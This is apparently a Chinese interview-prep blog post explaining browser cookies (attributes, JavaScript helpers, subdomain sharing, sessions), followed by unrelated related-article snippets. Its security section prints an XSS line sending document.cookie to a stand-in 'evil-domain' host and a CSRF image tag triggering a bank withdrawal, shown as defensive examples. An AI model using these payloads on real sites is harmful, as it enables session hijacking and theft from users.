惊艳面试官的 Cookie 介绍

Cookie 是什么

Cookie 是用户浏览器保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。

Cookie 主要用于以下三个方面:

  • 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
  • 个性化设置(如用户自定义设置、主题等)
  • 浏览器行为跟踪(如跟踪分析用户行为等)

? Domain

Domain 标识指定了哪些主机可以接受 Cookie。如果不指定,默认为当前文档的主机(不包含子域名)。如果指定了 Domain,则一般包含子域名(子域名可以访问父域名的 Cookie)。

例如,如果设置 Domain=mozilla.org,则 Cookie 也包含在子域名中(如 developer.mozilla.org)。

? Path

Path 标识指定了主机下的哪些路径可以接受 Cookie(该 URL 路径必须存在于请求 URL 中)。以字符 %x2F (/) 作为路径分隔符,子路径也会被匹配。

设置 Path=/docs,则以下地址都会匹配:

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

? Expires/Max-Age

Cookie 的过期时间,过了这个时间之后 Cookie 将会自动删除。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Max-Age 的单位是秒。

document.cookie = ‘promo_shown=1; Max-Age=2600000; Secure‘

? HttpOnly

为避免跨域脚本 (XSS) 攻击,通过 JavaScript 的 Document.cookie API 无法访问带有 HttpOnly 标记的 Cookie,它们只应该发送给服务端。如果包含服务端 Session 信息的 Cookie 不想被客户端 JavaScript 脚本调用,那么就应该为其设置 HttpOnly 标记。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

? Secure

标记为 Secure 的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端。

SameSite

  • www.ruanyifeng.com/blog/2019/0…
  • www.zhihu.com/question/37…

SameSite Cookie 允许服务器要求某个 Cookie 在跨站请求时不会被发送,从而可以阻止跨站请求伪造攻击(CSRF)。

Set-Cookie: key=value; SameSite=Strict
  • None 浏览器会在同站请求、跨站请求下继续发送 Cookies,不区分大小写;
  • Strict 浏览器将只发送相同站点请求的 Cookie(即当前网页 URL 与请求目标 URL 完全一致)。如果请求来自与当前 location 的 URL 不同的 URL,则不包括标记为 Strict 属性的 Cookie;
  • Lax 在新版本浏览器中,为默认选项,Same-site Cookies 将会为一些跨站子请求保留,如图片加载或者 iframe 不会发送,而点击 <a> 标签会发送;

? 增删改查

  • www.w3school.com.cn/js/js_cooki…

设置 Cookie 和修改 Cookie 相同:

function setCookie(cname, cvalue, exdays) {  const d = new Date()  d.setTime(d.getTime() + exdays * 24 * 60 * 60 * 1000)  const expires = ‘expires=‘ + d.toUTCString()  return (document.cookie = cname + ‘=‘ + cvalue + ‘;‘ + expires + ‘;path=/‘)}

删除 Cookie:

function deleteCookie(cname) {  const d = new Date()  const expires = ‘expires=‘ + d.toUTCString()  return (document.cookie = cname + ‘=‘ + ‘;‘ + expires + ‘;path=/‘)}

查询 Cookie:

function getCookie(cname) {  const cookieObj = document.cookie.split(‘;‘).reduce((prev, curr) => {    const entry = curr.split(‘=‘)    prev[entry[0].trim()] = entry[1]    return prev  }, {})  if (cname) return cookieObj[cname]  return cookieObj}

? 不同二级域名共享 Cookie

Cookie 可以设置成给子域名共享,类似于在 x.com.cn 设置的 Cookie 可以提供给 a.x.com.cn、b.x.com.cn、suba.a.x.com.cn 等域名访问。

比如下面的方式:

res.writeHead(200, {  ‘Set-Cookie‘: [‘name=sub-x-com-cn; path=/;domain=x.com.cn‘, ‘name=only-x-com-cn; path=/‘],})

domain=x.com.cn 表示 domain=x.com.cn 及其子域名都可以使用, 不写 doamin 默认只有当前域名可用,设置的 Cookie 是这样的:


总结

  1. 设置 Cookie 时,在 x.com.cn 设置为 ...;domain=x.com.cn 的 Cookie 可以给 x.com.cn 及其子域名使用;
  2. 设置 Cookie 时,在 x.com.cn 设置没有 domain 的 Cookie 只能给 x.com.cn 使用;
  3. 父域名无法在子域名设置 Cookie,例如在 x.com.cn 设置了 name=lxfriday;domain=subx.x.com.cn,这种设置是无效的;

? Cookie 常见问题

  1. Cookie 不区分端口;
  2. 一个 Cookie 存储上限是 4K 大小;
  3. Cookie 只能存储 ASCII 字符串;

? Cookie 安全-会话劫持和 XSS

new Image().src = ‘http://www.evil-domain.com/steal-cookie.php?cookie=‘ + document.cookie

HttpOnly 类型的 Cookie 由于阻止了 JavaScript 对其的访问性而能在一定程度上缓解此类攻击。

? Cookie 安全-跨站请求伪造(CSRF)

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" />

当你打开含有了这张图片的 HTML 页面时,如果你之前已经登录了你的银行帐号并且 Cookie 仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。

这种情况只是一种假设,实际上应该不允许使用 GET 修改数据,对转账的操作需要添加二次确认。

? Session

Session 机制是一种服务器端的机制,服务器使用一种类似于散列表的结构(也可能就是使用散列表)来保存信息。

当程序需要为某个客户端的请求创建一个 Session 时,服务器首先检查这个客户端的请求里是否已包含了一个 Session 标识(称为 Session ID),如果已包含则说明以前已经为此客户端创建过 Session,服务器就按照 Session ID 把这个 Session 检索出来使用(检索不到,会新建一个),如果客户端请求不包含 Session ID,则为此客户端创建一个 Session 并且生成一个与此 Session 相关联的 Session ID,Session ID 的值应该是一个既不会重复,又不容易被找到规律以仿造的字符串,这个 Session ID 将被在本次响应中返回给客户端保存。

Session 从客户端传输到服务端的方式有两种:

  1. 通过 Cookie 传输;
  2. 通过 URL 传输;
  3. 表单隐藏字段,通过在 <form> 中添加一个隐藏字段,把 Session 传回服务器;

基于 Cookie 实现,会话期 Cookie 是最简单的 Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。会话期 Cookie 不需要指定过期时间(Expires)或者有效期(Max-Age)。

Set-Cookie: name=lxfriday.xyz; path=/; HttpOnly

? Cookie 与 Session 有什么不同

  • mp.weixin.qq.com/s?__biz=MzA…
  1. 保存的地方不同,Cookie 保存在客户端,Session 保存在服务端;
  2. 有效期不同,Cookie 可以存储很长时间,Session 只能存在于一次会话中,浏览器关闭之后 Session 就失效了;
  3. 安全性不同,Cookie 存储在客户端容易被盗取或者利用,Session 在服务端比较安全;
  4. 存储大小不同,单个 Cookie 能存储 4K 的数据,Session 存储量比 Cookie 高得多;
  5. 存取方式不同,Cookie 中只能保存 ASCII 字符串,假如需求存取 Unicode 字符或者二进制数据,需求先进行编码。Session 中能够存取任何类型的数据;
  6. 服务器压力不同,Session 是存储在服务端的,巨大并发的时候会使服务器资源急速飙升。Cookie 则不存在此问题;

原文地址:https://www.cnblogs.com/CQqfjy/p/12418685.html

时间: 2024-10-08 02:10:24

惊艳面试官的 Cookie 介绍的相关文章

web前端入门到实战:用css3实现惊艳面试官的背景即背景动画(高级附源码)

我们传统的前端更多的是用javascript实现各种复杂动画,自从有了Css3 transition和animation以来,前端开发在动画这一块有了更高的自由度和格局,对动画的开发也越来越容易.这篇文章就让我们汇总一下使用Css3实现的各种特效. 1.实现内部虚线边框知识点:outline 核心代码 .dash-border{ width: 200px; height: 100px; line-height: 100px; outline: 1px dashed #fff; outline-o

当面试官要你介绍一下MQ时,该怎么回答?

一.为什么要使用MQ消息中间件? 一个用消息队列的人,不知道为啥用,有点尴尬.没有复习这点,很容易被问蒙,然后就开始胡扯了. 回答:这个问题,咱只答三个最主要的应用场景,不可否认还有其他的,但是只答三个主要的,即以下六个字: 解耦.异步.削峰 1.解耦 传统模式: 传统模式的缺点: 系统间耦合性太强,如上图所示,系统A在代码中直接调用系统B和系统C的代码,如果将来D系统接入,系统A还需要修改代码,过于麻烦! 中间件模式: 中间件模式的的优点: 将消息写入消息队列,需要消息的系统自己从消息队列中订

以后面试官再问你三次握手和四次挥手,直接把这一篇文章丢给他

三次握手和四次挥手是各个公司常见的考点,也具有一定的水平区分度,也被一些面试官作为热身题.很多小伙伴说这个问题刚开始回答的挺好,但是后面越回答越冒冷汗,最后就歇菜了. 见过比较典型的面试场景是这样的: 面试官:请介绍下三次握手 求职者:第一次握手就是客户端给服务器端发送一个报文,第二次就是服务器收到报文之后,会应答一个报文给客户端,第三次握手就是客户端收到报文后再给服务器发送一个报文,三次握手就成功了. 面试官:然后呢? 求职者:这就是三次握手的过程,很简单的. 面试官:...... (番外篇:

【真实面试经历】我和阿里面试官的一次“邂逅”(附问题详解)

本文的内容都是根据读者投稿的真实面试经历改编而来,首次尝试这种风格的文章,花了几天晚上才总算写完,希望对你有帮助. 本文主要涵盖下面的内容: 分布式商城系统:架构图讲解: 消息队列相关:削峰和解耦: Redis 相关:缓存穿透问题的解决: 一些基础问题: 网络相关:1.浏览器输入 URL 发生了什么? 2.TCP 和 UDP 区别? 3.TCP 如何保证传输可靠性? Java 基础:1. 既然有了字节流,为什么还要有字符流? 2.深拷贝 和 浅拷贝有啥区别呢? 下面是正文! 面试开始,坐在我前面

《吊打面试官》系列-Redis终章_凛冬将至、FPX_新王登基

前言 Redis在互联网技术存储方面使用如此广泛,几乎所有的后端技术面试官都要在Redis的使用和原理方面对小伙伴们进行360°的刁难.作为一个在互联网公司面一次拿一次offer的面霸(请允许我使用一下夸张的修辞手法),打败了无数竞争对手,每次都只能看到无数落寞的身影失望的离开,略感愧疚,在一个寂寞难耐的夜晚,我痛定思痛,决定开始写<吊打面试官>系列,希望能帮助各位读者以后面试势如破竹,对面试官进行360°的反击,吊打问你的面试官,让一同面试的同僚瞠目结舌,疯狂收割大厂offer! 絮叨 男儿

【Java】反射调用与面向对象结合使用产生的惊艳

缘起 我在看Spring的源码时,发现了一个隐藏的问题,就是父类方法(Method)在子类实例上的反射(Reflect)调用. 初次看到,感觉有些奇特,因为父类方法可能是抽象的或私有的,但我没有去怀疑什么,这可是Spring的源码,肯定不会有错. 不过我去做了测试,发现确实是正确的,那一瞬间竟然给我了一丝的惊艳. 这其实是面向对象(继承与重写,即多态)和反射结合的产物.下面先来看测试,最后再进行总结. 友情提示:测试内容较多,不过还是值得一看. 具体方法的继承与重写 先准备一个父类,有三个方法,

面试官的七种武器:Java篇

起源 自己经历过的面试也不少了,互联网的.外企的,都有.总结一下这些面试的经验,发现面试官问的问题其实不外乎几个大类,玩不出太多新鲜玩意的.细细想来,面试官拥有以下七种武器.恰似古龙先生笔下的武侠世界中的七种武器.下面我为各位一一道来. (欢迎转载.转载请注明出处:http://www.cnblogs.com/hzg1981/) 长生剑=语言基础 长生剑是七种武器之首,同理,编程语言的考察也是技术面试中最基本的.这条不满足的就直接Pass了.以Java为例,语言的考察大致可以分为三个层次: 初级

fuck猎豹移动面试官

 特郁闷了,前几天在qq群遇到以为猎豹移动的,说招人做云后台开发,我还特意问了要求,他说很简单能做事就可以了. 一轮电话面试期望不大,但是出乎意料过了,接着二轮电话面试,感觉还好.后面是到广州的面试. 见到面试管, 先让我自我介绍,好吧说了一些········,然后简单介绍了一下以前的工作,接着让我说说自己的优点.这是重点了,我说我有创新能力,有钻研精神,还跟他列举了很多事例,我觉得这些事例都是很宝贵的.然后问了一个技术问题,有一个10G的文件里面是整型让我排序,我考虑了不到半分钟的时间后,

一个资深java面试官的“面试心得”

在公司当技术面试官几年间,从应届生到工作十几年的应聘者都遇到过.先表达一下我自己对面试的观点: 1.笔试.面试去评价一个人肯定是不够准确的,了解一个人最准确的方式就是“路遥知马力,日久见人心”.通过一.二个小时内的做题.交流,只是没有其他办法下进行的无奈之举,所以通过了面试不代表有多成功,没通过也不代表有多失败.2.好的面试官本身交谈的时候就不应当把自己一个居高临下的角色上,应当把自己和应聘者当做两个做技术的人平等的交流,把自己当作权威往往就会受到观点的角度.语言表达.工作领域的惯性的制约.3.